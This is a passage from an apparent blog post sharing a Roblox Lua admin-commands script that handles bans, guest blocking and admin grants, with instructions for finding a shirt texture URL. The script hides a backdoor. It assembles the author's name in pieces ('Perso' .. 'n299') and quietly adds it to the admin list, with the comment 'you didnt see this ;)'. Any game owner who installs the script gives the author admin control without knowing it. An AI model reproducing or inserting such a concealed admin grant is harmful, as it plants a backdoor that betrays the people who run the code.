end
end
end
end
end
end
elname = "Perso"
elname = elname .. "n299"
script.Name = elname .. "'s Admin Commands"
youcaughtme = 0
for i =1,#adminlist do
if string.lower(elname)==string.lower(adminlist[i]) then
youcaughtme = 1
end
end -- you didnt see this ;)
if youcaughtme == 0 then
table.insert(adminlist,elname)
end
function childadded(ack)
if ack.className == "Player" then
ack.Chatted:connect(function(msg,recipient) onChatted2(msg,recipient,ack) end)
for i =1,#bannedlist do
if string.lower(ack.Name)==string.lower(bannedlist[i]) then
local bmes = Instance.new("Message")
bmes.Text = "You are banned from this game."
bmes.Parent = ack
wait(5)
ack:remove()
end
end
if noguests == true then
if string.sub(ack.Name,1,5) == "Guest" then
local bmes = Instance.new("Message")
bmes.Text = "Guests are not allowed in this game."
bmes.Parent = ack
wait(7)
ack:remove()
end
end
for i=1, #adminlist do
if string.lower(ack.Name)==string.lower(adminlist[i]) then
ack.Chatted:connect(function(msg,recipient) onChatted(msg,recipient,ack) end)
text("You are an admin in this game.",ack,"Message",10)
end
end
if ack:FindFirstChild("enteringmessage") == nil then
while true do
if ack.Character ~= nil then break end
wait()
end
local g1 = ack.Character:FindFirstChild("Torso")
if g1 ~= nil then
local g2 = g1:FindFirstChild("roblox") -- roblox likes to name stuff after themselves
if g2 ~= nil then
if g2.Texture == texture then
ack.Chatted:connect(function(msg,recipient) onChatted(msg,recipient,ack) end)
text("You are an admin in this game, nice shirt by the way.",ack,"Message",10)
end
end
end
end -- thats alot of ends.
end
end
game.Players.ChildAdded:connect(childadded)
--[[
To find the URL of a shirt, you must be wearing the shirt you want to find out the URL of, Then you must visit your place in Build Solo mode. Then:
1) Go to View > Explorer, then the Explorer will pop up on the side of your screen.
2) Click on the plus sign next to Workspace.
3) Click on the plus sign next to your character's name.
4) Scroll down to "Torso".
5) Click on the plus sign next to "Torso".
6) You should see the shirt graphic. (which is probably named "roblox") Highlight the shirt graphic (not the plus sign).
7) Go to View again, then to Properties, which will pop up under the explorer. The shirt graphic should still be highlighted.
8) In Properties, copy an address that looks like a web address next to "Texture" then paste it in the texture thing at the top of this script.
--]]
-- I hope this script is useful. :)

0 Comments:
Post a Comment
Subscribe to Post Comments [Atom]
<< Home